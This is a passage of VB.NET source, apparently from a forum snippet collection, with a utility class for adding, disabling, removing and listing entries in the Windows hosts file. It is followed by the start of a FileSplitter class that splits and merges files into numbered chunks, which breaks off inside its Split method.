' Dim sb As New System.Text.StringBuilder
' With sb
' .AppendLine(String.Format("Hostname...: {0}", MappingInfo.HostName))
' .AppendLine(String.Format("IP Address.: {0}", MappingInfo.IP))
' .AppendLine(String.Format("Comment....: {0}", MappingInfo.Comment))
' .AppendLine(String.Format("Is Enabled?: {0}", Not MappingInfo.IsDisabled))
' End With
'
' MessageBox.Show(sb.ToString, "HostsFile Mappings", MessageBoxButtons.OK, MessageBoxIcon.Information)
'
' Next MappingInfo
'
' ' Get all the hostname mappings that matches an ip address
' Dim MappingMatches As List(Of HostsFile.MappingInfo) = Hosts.GetMappingsFromIP(Hosts.LOCALHOST)
'
' End Sub
'
'End Class
#End Region
#Region " Imports "
Imports System.IO
Imports System.Net
Imports System.Text
#End Region
#Region " Hosts File "
''' <summary>
''' Manages the Windows HOSTS file to map Hostnames to IP addresses.
''' </summary>
Public Class HostsFile
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="HostsFile"/> class.
''' </summary>
''' <param name="HOSTSLocation">
''' Optionaly indicates a custom Hosts file location.
''' Default value is 'X:\Windows\System32\Drivers\etc\hosts'.
''' </param>
Public Sub New(Optional ByVal HOSTSLocation As String = Nothing)
If Not String.IsNullOrEmpty(HOSTSLocation) Then
Me._HOSTSLocation = HOSTSLocation
End If
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="HostsFile"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Properties "
''' <summary>
''' The Hosts file location.
''' </summary>
''' <value>The Hosts file location.</value>
Public ReadOnly Property HOSTSLocation As String
Get
Return _HOSTSLocation
End Get
End Property
Private SysDir As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
Private _HOSTSLocation As String = Path.Combine(SysDir, "Drivers\etc\hosts")
''' <summary>
''' The Hosts file encoding.
''' The encoding must be <see cref="Encoding.Default"/> (ANSI) or <see cref="Encoding.UTF8"/> (UTF-8 without BOM),
''' otherwise the entries will be ignored by Windows.
''' </summary>
''' <value>The Hosts file encoding.</value>
Public Property HOSTSEncoding As Encoding
Get
Return _HOSTSEncoding
End Get
Set(ByVal value As Encoding)
Me._HOSTSEncoding = value
End Set
End Property
Private _HOSTSEncoding As Encoding = Encoding.Default
''' <summary>
''' Gets or sets the default 'LocalHost' IP address.
''' In most computers the default address is '127.0.0.1'.
''' </summary>
''' <value>The default LocalHost.</value>
Public Property LOCALHOST As String
Get
Return Me._LOCALHOST
End Get
Set(ByVal value As String)
Me._LOCALHOST = value
End Set
End Property
Private _LOCALHOST As String = "127.0.0.1"
''' <summary>
''' Gets the default Hosts file header.
''' </summary>
Private ReadOnly HostsHeader As String =
<a><![CDATA[
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
]]></a>.Value
#End Region
#Region " Types "
#Region " MappingInfo "
''' <summary>
''' Specifies info of a HOSTS file mapping.
''' </summary>
Public Class MappingInfo
''' <summary>
''' Gets or sets the hostname.
''' </summary>
''' <value>The hostname.</value>
Public Property HostName As String
''' <summary>
''' Gets or sets the IP address.
''' </summary>
''' <value>The IP address.</value>
Public Property IP As String
''' <summary>
''' Gets or sets the mapping comment.
''' </summary>
''' <value>The mapping comment.</value>
Public Property Comment As String
''' <summary>
''' This value is reserved.
''' Gets a value indicating whether the mapping is disabled in the HOSTS file.
''' </summary>
''' <value><c>true</c> if the mapping is disabled, <c>false</c> otherwise.</value>
Public Property IsDisabled As Boolean
End Class
#End Region
#End Region
#Region " Public Methods "
''' <summary>
''' Adds a new mapping.
''' </summary>
''' <param name="HostName">Indicates the Hostname.</param>
''' <param name="IP">Indicates the IP address.</param>
''' <param name="Comment">Indicates a comment for this mapping.</param>
''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
''' <exception cref="System.FormatException">Invalid IP adress.</exception>
''' <exception cref="System.Exception">Hostname is already mapped.</exception>
Public Sub Add(ByVal HostName As String,
ByVal IP As String,
Optional ByVal Comment As String = Nothing)
If Not Me.FileExists() Then ' Hosts file does not exists.
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
ElseIf Not Me.ValidateIP(IP) Then ' Invalid IP address.
Throw New FormatException(String.Format("Address: '{0}' is not a valid IP adress.", IP))
ElseIf Me.IsMapped(HostName) Then ' Hostname is already mapped.
Throw New Exception(String.Format("Hostname '{0}' is already mapped.", HostName))
Else ' Add the entry.
' Fix value spacing.
Dim EntryFormat As String =
IP & HostName.Insert(0I, ControlChars.Tab) &
If(Not String.IsNullOrEmpty(Comment),
Comment.Insert(0I, ControlChars.Tab & "#"c),
String.Empty)
' Write the mapping.
File.AppendAllText(Me._HOSTSLocation, Environment.NewLine & EntryFormat, Me._HOSTSEncoding)
End If
End Sub
''' <summary>
''' Adds a new mapping.
''' </summary>
''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
Public Sub Add(ByVal MappingInfo As MappingInfo)
Me.Add(MappingInfo.HostName, MappingInfo.IP, MappingInfo.Comment)
End Sub
''' <summary>
''' Disables an existing mapping.
''' </summary>
''' <param name="HostName">Indicates the Hostname.</param>
''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
''' <exception cref="System.Exception">Hostname is not mapped.</exception>
''' <exception cref="System.Exception">Hostname is already disabled.</exception>
Public Sub Disable(ByVal HostName As String)
If Not Me.FileExists() Then ' Hosts file does not exists.
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
ElseIf Not Me.IsMapped(HostName) Then ' Hostname is not mapped.
Throw New Exception(String.Format("Hostname: '{0}' is not mapped.", HostName))
ElseIf Me.IsDisabled(HostName) Then ' Hostname is already disabled.
Throw New Exception(String.Format("Hostname: '{0}' is already disabled.", HostName))
Else ' Disable the mapping.
' Retrieve the HOSTS file content.
Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
' Iterate the mappings.
For X As Integer = 0I To (Hosts.Count - 1I)
If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
' Retrieve the HostName of this mapping.
Dim Host As String = Hosts(X).Split({ControlChars.Tab})(1I)
If Host.Equals(HostName, StringComparison.OrdinalIgnoreCase) Then
' Disable the mapping.
Hosts(X) = Hosts(X).Insert(0I, "#"c)
Exit For
End If ' Host.Equals(...)
End If ' Not String.IsNullOrEmpty(Hosts(X))...
Next X
File.WriteAllLines(Me._HOSTSLocation, Hosts, Me._HOSTSEncoding)
End If
End Sub
''' <summary>
''' Disables an existing mapping.
''' </summary>
''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
Public Sub Disable(ByVal MappingInfo As MappingInfo)
Me.Disable(MappingInfo.HostName)
End Sub
''' <summary>
''' Removes a mapping.
''' </summary>
''' <param name="HostName">Indicates the Hostname.</param>
''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
''' <exception cref="System.Exception">Hostname is not mapped.</exception>
Public Sub Remove(ByVal HostName As String)
If Not Me.FileExists() Then ' Hosts file does not exists.
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
ElseIf Not Me.IsMapped(HostName) Then ' Hostname is not mapped.
Throw New Exception(String.Format("Hostname: '{0}' is not mapped.", HostName))
Else ' Remove the mapping.
' Retrieve the HOSTS file content.
Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
' Iterate the mappings.
For X As Integer = 0I To (Hosts.Count - 1I)
If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
' Retrieve the HostName of this mapping.
Dim Host As String = Hosts(X).Split({ControlChars.Tab})(1I)
If Host.Equals(HostName, StringComparison.OrdinalIgnoreCase) Then
' Remove the mapping.
Hosts.RemoveAt(X)
Exit For
End If ' Host.Equals(...)
End If ' Not String.IsNullOrEmpty(Hosts(X))...
Next X
File.WriteAllLines(Me._HOSTSLocation, Hosts, Me._HOSTSEncoding)
End If
End Sub
''' <summary>
''' Removes a mapping.
''' </summary>
''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
Public Sub Remove(ByVal MappingInfo As MappingInfo)
Me.Remove(MappingInfo.HostName)
End Sub
''' <summary>
''' Gets a <see cref="List(Of HostsMapping)"/> instance containing the mapping info of all mappings.
''' </summary>
''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
Public Function GetMappings() As List(Of MappingInfo)
If Not Me.FileExists() Then ' Hosts file does not exists.
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
Else ' Get the mapping.
' Retrieve the HOSTS file content.
Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
Dim Mappings As New List(Of MappingInfo)
' Iterate the mappings.
For X As Integer = 0I To (Hosts.Count - 1I)
If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
' Retrieve the mapping parts.
Dim Parts As String() = Hosts(X).Split({ControlChars.Tab})
Dim MappingInfo As New MappingInfo
With MappingInfo
.HostName = Parts(1I)
.IP = Parts(0I).Replace("#"c, String.Empty)
.Comment = If(Parts.Count > 1I, Parts(2I), String.Empty)
.IsDisabled = Parts(0I).TrimStart.StartsWith("#"c)
End With ' MappingInfo
Mappings.Add(MappingInfo)
End If ' Not String.IsNullOrEmpty(Hosts(X))...
Next X
Return Mappings
End If
End Function
''' <summary>
''' Gets a <see cref="MappingInfo"/> instance containing the mapping info of a Hostname.
''' </summary>
''' <param name="HostName">Indicates the Hostname.</param>
''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
''' <exception cref="System.Exception">Hostname is not mapped.</exception>
Public Function GetMappingFromHostname(ByVal Hostname As String) As MappingInfo
If Not Me.FileExists() Then ' Hosts file does not exists.
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
ElseIf Not Me.IsMapped(Hostname) Then ' Hostname is not mapped.
Throw New Exception(String.Format("Hostname: '{0}' is not mapped.", Hostname))
Else ' Get the mapping.
' Retrieve the HOSTS file content.
Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
Dim MappingInfo As New MappingInfo
' Iterate the mappings.
For X As Integer = 0I To (Hosts.Count - 1I)
If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
' Retrieve the mapping parts.
Dim Parts As String() = Hosts(X).Split({ControlChars.Tab})
If Parts(1I).Equals(Hostname, StringComparison.OrdinalIgnoreCase) Then
With MappingInfo
.HostName = Parts(1I)
.IP = Parts(0I).Replace("#"c, String.Empty)
.Comment = If(Parts.Count > 1I, Parts(2I), String.Empty)
.IsDisabled = Parts(0I).TrimStart.StartsWith("#"c)
End With ' MappingInfo
Exit For
End If ' Parts(1I).Equals(Hostname)...
End If ' Not String.IsNullOrEmpty(Hosts(X))...
Next X
Return MappingInfo
End If
End Function
''' <summary>
''' Gets a <see cref="List(Of HostsMapping)"/> instance containing the mapping info of all mappings
''' matching the specified IP address.
''' </summary>
''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
''' <exception cref="System.FormatException">Invalid IP adress.</exception>
Public Function GetMappingsFromIP(ByVal IP As String) As List(Of MappingInfo)
If Not Me.FileExists() Then ' Hosts file does not exists.
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
ElseIf Not Me.ValidateIP(IP) Then ' Invalid IP address.
Throw New FormatException(String.Format("Address: '{0}' is not a valid IP adress.", IP))
Else ' Get the mapping.
' Retrieve the HOSTS file content.
Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
Dim Mappings As New List(Of MappingInfo)
' Iterate the mappings.
For X As Integer = 0I To (Hosts.Count - 1I)
If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
' Retrieve the mapping parts.
Dim Parts As String() = Hosts(X).Split({ControlChars.Tab})
If Parts(0I).Replace("#"c, String.Empty).Equals(IP) Then
Dim MappingInfo As New MappingInfo
With MappingInfo
.HostName = Parts(1I)
.IP = Parts(0I).Replace("#"c, String.Empty)
.Comment = If(Parts.Count > 1I, Parts(2I), String.Empty)
.IsDisabled = Parts(0I).TrimStart.StartsWith("#"c)
End With ' MappingInfo
Mappings.Add(MappingInfo)
End If
End If ' Not String.IsNullOrEmpty(Hosts(X))...
Next X
Return Mappings
End If
End Function
''' <summary>
''' Checks whether a HostName is already mapped.
''' </summary>
''' <param name="HostName">Indicates the Hostname.</param>
''' <returns><c>true</c> if the specified Hostname is mapped; otherwise, <c>false</c>.</returns>
''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
Public Function IsMapped(ByVal HostName As String) As Boolean
If Not Me.FileExists() Then ' Hosts file does not exists.
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
Else
' Retrieve the HOSTS file content.
Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
' Iterate the mappings.
For X As Integer = 0I To (Hosts.Count - 1I)
If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
' Retrieve the HostName of this mapping.
Dim Host As String = Hosts(X).Split({ControlChars.Tab})(1I)
If Host.Equals(HostName, StringComparison.OrdinalIgnoreCase) Then
Return True
End If ' Host.Equals(HostName)...
End If ' Not String.IsNullOrEmpty(Hosts(X)) AndAlso...
Next X
Return False
End If ' Not Me.Exists()...
End Function
''' <summary>
''' Checks whether a HostName is already mapped.
''' </summary>
''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
''' <returns><c>true</c> if the specified Hostname is mapped; otherwise, <c>false</c>.</returns>
Public Function IsMapped(ByVal MappingInfo As MappingInfo) As Boolean
Return Me.IsMapped(MappingInfo.HostName)
End Function
''' <summary>
''' Checks whether a HostName is already disabled.
''' </summary>
''' <param name="HostName">Indicates the Hostname.</param>
''' <returns><c>true</c> if the specified Hostname is disabled; otherwise, <c>false</c>.</returns>
''' <exception cref="System.IO.FileNotFoundException">"Hosts file not found."</exception>
''' <exception cref="System.Exception">Hostname is not mapped.</exception>
Public Function IsDisabled(ByVal HostName As String) As Boolean
If Not Me.FileExists() Then ' Hosts file does not exists.
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
ElseIf Not Me.IsMapped(HostName) Then ' Hostname is not mapped.
Throw New Exception(String.Format("Hostname: '{0}' is not mapped.", HostName))
Else
' Retrieve the HOSTS file content.
Dim Hosts As List(Of String) = File.ReadAllLines(Me._HOSTSLocation, Me._HOSTSEncoding).ToList
Dim Result As Boolean = False
' Iterate the mappings.
For X As Integer = 0I To (Hosts.Count - 1I)
If Not String.IsNullOrEmpty(Hosts(X)) AndAlso Hosts(X).Contains(ControlChars.Tab) Then
' Retrieve the HostName of this mapping.
Dim Host As String = Hosts(X).Split({ControlChars.Tab})(1I)
If Host.Equals(HostName, StringComparison.OrdinalIgnoreCase) Then
Result = Hosts(X).TrimStart.StartsWith("#"c)
Exit For
End If ' Host.Equals(HostName)...
End If ' Not String.IsNullOrEmpty(Hosts(X)) AndAlso...
Next X
Return Result
End If
End Function
''' <summary>
''' Checks whether a HostName is already disabled.
''' </summary>
''' <param name="MappingInfo">A <see cref="MappingInfo"/> instance containing the mapping info.</param>
''' <returns><c>true</c> if the specified Hostname is disabled; otherwise, <c>false</c>.</returns>
Public Function IsDisabled(ByVal MappingInfo As MappingInfo) As Boolean
Return Me.IsDisabled(MappingInfo.HostName)
End Function
''' <summary>
''' Checks whether the Hosts file exists.
''' </summary>
''' <returns><c>true</c> if Hosts file exists, <c>false</c> otherwise.</returns>
Public Function FileExists() As Boolean
Return File.Exists(Me._HOSTSLocation)
End Function
''' <summary>
''' Creates the Hosts file.
''' </summary>
Public Sub FileCreate()
If Me.FileExists() Then
File.Delete(Me._HOSTSLocation)
End If
File.WriteAllText(Me._HOSTSLocation, Me.HostsHeader, Me._HOSTSEncoding)
End Sub
''' <summary>
''' Deletes the Hosts file.
''' </summary>
''' <exception cref="System.IO.FileNotFoundException">Hosts file not found.</exception>
Public Sub FileDelete()
If Not Me.FileExists() Then
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
Else
File.Delete(Me._HOSTSLocation)
End If
End Sub
''' <summary>
''' Cleans the Hosts file.
''' This removes all the mappings and adds the default file header.
''' </summary>
Public Sub FileClean()
Me.FileCreate()
End Sub
''' <summary>
''' Opens the Hosts file with the specified process.
''' </summary>
''' <param name="Process">
''' Indicates the process location.
''' Default value is: "notepad.exe".
''' </param>
''' <exception cref="System.IO.FileNotFoundException">Hosts file not found.</exception>
''' <exception cref="System.IO.FileNotFoundException">Process not found.</exception>
Public Sub FileOpen(Optional ByVal Process As String = "notepad.exe")
If Not Me.FileExists Then
Throw New FileNotFoundException("Hosts file not found.", Me._HOSTSLocation)
ElseIf Not File.Exists(Process) Then
Throw New FileNotFoundException("Process not found.", Process)
Else
Diagnostics.Process.Start(Process, ControlChars.Quote & Me._HOSTSLocation & ControlChars.Quote)
End If
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Validates an IP address.
''' </summary>
''' <param name="Address">The IP address.</param>
''' <returns><c>true</c> if IP is in the proper format, <c>false</c> otherwise.</returns>
Private Function ValidateIP(ByVal Address As String) As Boolean
Dim IP As IPAddress = Nothing
Return IPAddress.TryParse(Address, IP)
End Function
#End Region
End Class
#End Region
Una Class para cortar y unir archivos al mismo estilo que WinRAR (me refiero a la enumeración de los archivos partidos, este no comprime solo corta).
' ***********************************************************************
' Author : Elektro
' Last Modified On : 08-15-2014
' ***********************************************************************
' <copyright file="FileSplitter.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Imports "
Imports System.ComponentModel
Imports System.IO
#End Region
Public Class FileSplitter
#Region " Properties "
''' <summary>
''' Gets or sets the buffer-size to split or merge, in Bytes.
''' Default value is: 1048576 bytes (1 megabyte).
''' </summary>
''' <value>The buffer-size.</value>
Public Property BufferSize As Integer = 1048576I
#End Region
#Region " Events "
#Region " EventHandlers "
''' <summary>
''' Occurs when the progress changes splitting a file.
''' </summary>
Public Event SplitProgressChanged As EventHandler(Of SplitProgressChangedArgs)
''' <summary>
''' Occurs when the progress changes merging a file.
''' </summary>
Public Event MergeProgressChanged As EventHandler(Of MergeProgressChangedArgs)
#End Region
#Region " Event Args "
#Region " SplitProgressChanged "
''' <summary>
''' Contains the Event arguments of the SplitProgressChanged Event.
''' </summary>
Public Class SplitProgressChangedArgs : Inherits EventArgs
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="SplitProgressChangedArgs"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="SplitProgressChangedArgs"/> class.
''' </summary>
''' <param name="TotalProgress">The total progress value.</param>
''' <param name="ChunkProgress">The current chunk progress value.</param>
''' <param name="ChunksToCreate">The amount of chunks to create.</param>
''' <param name="ChunksCreated">The amount of created chunks.</param>
Public Sub New(ByVal TotalProgress As Double,
ByVal ChunkProgress As Double,
ByVal ChunksToCreate As Integer,
ByVal ChunksCreated As Integer)
Me._TotalProgress = TotalProgress
Me._ChunkProgress = ChunkProgress
Me._ChunksToCreate = ChunksToCreate
Me._ChunksCreated = ChunksCreated
End Sub
#End Region
#Region " Properties "
''' <summary>
''' Gets the total progress value.
''' (From 0 to 100)
''' </summary>
''' <value>The total progress value.</value>
Public ReadOnly Property TotalProgress As Double
Get
Return Me._TotalProgress
End Get
End Property
Private _TotalProgress As Double = 0.0R
''' <summary>
''' Gets the current chunk progress value.
''' </summary>
''' <value>The current chunk progress value.</value>
Public ReadOnly Property ChunkProgress As Double
Get
Return Me._ChunkProgress
End Get
End Property
Private _ChunkProgress As Double = 0.0R
''' <summary>
''' Gets the amount of chunks to create.
''' </summary>
''' <value>The amount of chunks to create.</value>
Public ReadOnly Property ChunksToCreate As Integer
Get
Return Me._ChunksToCreate
End Get
End Property
Private _ChunksToCreate As Integer = 0I
''' <summary>
''' Gets the amount of created chunks.
''' </summary>
''' <value>The amount of created chunks.</value>
Public ReadOnly Property ChunksCreated As Integer
Get
Return Me._ChunksCreated
End Get
End Property
Private _ChunksCreated As Integer = 0I
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are the same instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ToString()
End Sub
#End Region
End Class
#End Region
#Region " MergeProgressChangedArgs "
''' <summary>
''' Contains the Event arguments of the MergeProgressChangedArgs Event.
''' </summary>
Public Class MergeProgressChangedArgs : Inherits EventArgs
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="MergeProgressChangedArgs"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="MergeProgressChangedArgs"/> class.
''' </summary>
''' <param name="TotalProgress">The total progress value.</param>
''' <param name="ChunkProgress">The current chunk progress value.</param>
''' <param name="ChunksToMerge">The amount of chunks to merge.</param>
''' <param name="ChunksMerged">The amount of merged chunks.</param>
Public Sub New(ByVal TotalProgress As Double,
ByVal ChunkProgress As Double,
ByVal ChunksToMerge As Integer,
ByVal ChunksMerged As Integer)
Me._TotalProgress = TotalProgress
Me._ChunkProgress = ChunkProgress
Me._ChunksToMerge = ChunksToMerge
Me._ChunksMerged = ChunksMerged
End Sub
#End Region
#Region " Properties "
''' <summary>
''' Gets the total progress value.
''' (From 0 to 100)
''' </summary>
''' <value>The total progress value.</value>
Public ReadOnly Property TotalProgress As Double
Get
Return Me._TotalProgress
End Get
End Property
Private _TotalProgress As Double = 0.0R
''' <summary>
''' Gets the current chunk progress value.
''' </summary>
''' <value>The current chunk progress value.</value>
Public ReadOnly Property ChunkProgress As Double
Get
Return Me._ChunkProgress
End Get
End Property
Private _ChunkProgress As Double = 0.0R
''' <summary>
''' Gets the amount of chunks to merge.
''' </summary>
''' <value>The amount of chunks to merge.</value>
Public ReadOnly Property ChunksToMerge As Integer
Get
Return Me._ChunksToMerge
End Get
End Property
Private _ChunksToMerge As Integer = 0I
''' <summary>
''' Gets the amount of merged chunks.
''' </summary>
''' <value>The amount of merged chunks.</value>
Public ReadOnly Property ChunksMerged As Integer
Get
Return Me._ChunksMerged
End Get
End Property
Private _ChunksMerged As Integer = 0I
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are the same instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ToString()
End Sub
#End Region
End Class
#End Region
#End Region
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are the same instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ToString()
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Splits the specified file.
''' </summary>
''' <param name="InputFile">Indicates the file to split.</param>
''' <param name="ChunkSize">Indicates the size of each chunk.</param>
''' <param name="ChunkName">Indicates the name-format for the chunks.</param>
''' <param name="ChunkExt">Indicates the file-extension for the chunks.</param>
''' <param name="Overwrite">
''' If set to <c>true</c> any existing file will be overwritten if needed to create a chunk,
''' otherwise, an exception will be thrown.
''' </param>
''' <param name="DeleteAfterSplit">If set to <c>true</c> the input file will be deleted after a successful split.</param>
''' <exception cref="System.IO.FileNotFoundException">The specified file doesn't exists.</exception>
''' <exception cref="System.IO.IOException">File already exists.</exception>
''' <exception cref="System.OverflowException">'ChunkSize' should be smaller than the Filesize.</exception>
Public Sub Split(ByVal InputFile As String,
ByVal ChunkSize As Long,
Optional ByVal ChunkName As String = Nothing,
Optional ByVal ChunkExt As String = Nothing,
Optional ByVal Overwrite As Boolean = False,
Optional ByVal DeleteAfterSplit As Boolean = False)
If Not File.Exists(InputFile) Then
Throw New FileNotFoundException("The specified file doesn't exists.", InputFile)
Exit Sub
End If
' The progress event arguments.
Dim ProgressArguments As SplitProgressChangedArgs
' FileInfo instance of the input file.
Dim fInfo As New FileInfo(InputFile)
' The total filesize to split, in bytes.
Dim TotalSize As Long = fInfo.Length
' The remaining size to calculate the percentage, in bytes.
Dim SizeRemaining As Long = TotalSize
' Counts the length of the current chunk file to calculate the percentage, in bytes.
Dim SizeWritten As Long = 0L
' The buffer to read data and write the chunks.
Dim Buffer As Byte() = New Byte() {}
' The buffer length.
Dim BufferLength As Integer = Me.BufferSize
' The total amount of chunks to create.
Dim ChunkCount As Integer = CInt(Math.Floor(fInfo.Length / ChunkSize))
' Keeps track of the current chunk.
Dim ChunkIndex As Integer = 0I
' Keeps track of the total percentage done.
Dim TotalProgress As Double = 0.0R
' Keeps track of the current chunk percentage done.
Dim ChunkProgress As Double = 0.0R
' A zero-filled string to enumerate the chunk files.
Dim Zeros As String = String.Empty
' The given filename for each chunk.
Dim ChunkFile As String = String.Empty
' The chunk file basename.
ChunkName = If(String.IsNullOrEmpty(ChunkName),
Path.Combine(fInfo.DirectoryName, Path.GetFileNameWithoutExtension(fInfo.Name)),
Path.Combine(fInfo.DirectoryName, ChunkName))
' The chunk file extension.
ChunkExt = If(String.IsNullOrEmpty(ChunkExt),
fInfo.Extension.Substring(1I),
ChunkExt)
' If ChunkSize is bigger than filesize then...
If ChunkSize >= fInfo.Length Then
Throw New OverflowException("'ChunkSize' should be smaller than the Filesize.")
Exit Sub
' For cases where a chunksize is smaller than the buffersize.
ElseIf ChunkSize < BufferLength Then
BufferLength = CInt(ChunkSize)
End If ' ChunkSize <>...
' If not file-overwrite is allowed then...
If Not Overwrite Then
For Index As Integer = 0I To (ChunkCount)
' Set chunk filename.
Zeros = New String("0", CStr(ChunkCount).Length - CStr(Index + 1I).Length)
ChunkFile = String.Format("{0}.{1}.{2}", ChunkName, Zeros & CStr(Index + 1I), ChunkExt)
' If chunk file already exists then...
If File.Exists(ChunkFile) Then
Throw New IOException(String.Format("File already exists: {0}", ChunkFile))
Exit Sub
End If ' File.Exists(ChunkFile)
Next Index
Zeros = String.Empty
ChunkFile = String.Empty
End If ' Overwrite
' Open the file to start reading bytes.
Using InputStream As New FileStream(fInfo.FullName, FileMode.Open)
Using BinaryReader As New BinaryReader(InputStream)
While (InputStream.Position < InputStream.Length)
' Set chunk filename.
Zeros = New String("0", CStr(ChunkCount).Length - CStr(ChunkIndex + 1I).Length)
ChunkFile = String.Format("{0}.{1}.{2}", ChunkName, Zeros & CStr(ChunkIndex + 1I), ChunkExt)
' Reset written byte-length counter.
SizeWritten = 0L
' Create the chunk file to Write the bytes.
Using OutputStream As New FileStream(ChunkFile, FileMode.Create)
Using BinaryWriter As New BinaryWriter(OutputStream)
' Read until reached the end-bytes of the input file.
While (SizeWritten < ChunkSize) AndAlso (InputStream.Position < InputStream.Length)
' Read bytes from the original file (BufferSize byte-length).
Buffer = BinaryReader.ReadBytes(BufferLength)
' Write those bytes in the chunk file.
BinaryWriter.Write(Buffer)
' Increment the bytes-written counter.
SizeWritten += Buffer.Count
' Decrease the bytes-remaining counter.
SizeRemaining -= Buffer.Count
' Set the total progress.
TotalProgress = (TotalSize - SizeRemaining) * (100I / TotalSize)
' Set the current chunk progress.
ChunkProgress =
If(Not ChunkIndex = ChunkCount,
(100I / ChunkSize) * (SizeWritten - BufferLength),
(100I / (InputStream.Length - (ChunkSize * ChunkIndex))) * (SizeWritten - BufferLength))
' Set the progress event-arguments.
ProgressArguments =
New SplitProgressChangedArgs(
TotalProgress:=If(Not TotalProgress > 99.9R, TotalProgress, 99.9R),
ChunkProgress:=ChunkProgress,
ChunksToCreate:=ChunkCount + 1I,
ChunksCreated:=ChunkIndex)
' Report the progress event-arguments.
RaiseEvent SplitProgressChanged(Me, ProgressArguments)
End While ' (SizeWritten < ChunkSize) AndAlso (InputStream.Position < InputStream.Length)
OutputStream.Flush()
End Using ' BinaryWriter
End Using ' OutputStream
ChunkIndex += 1I 'Increment the chunk file counter.
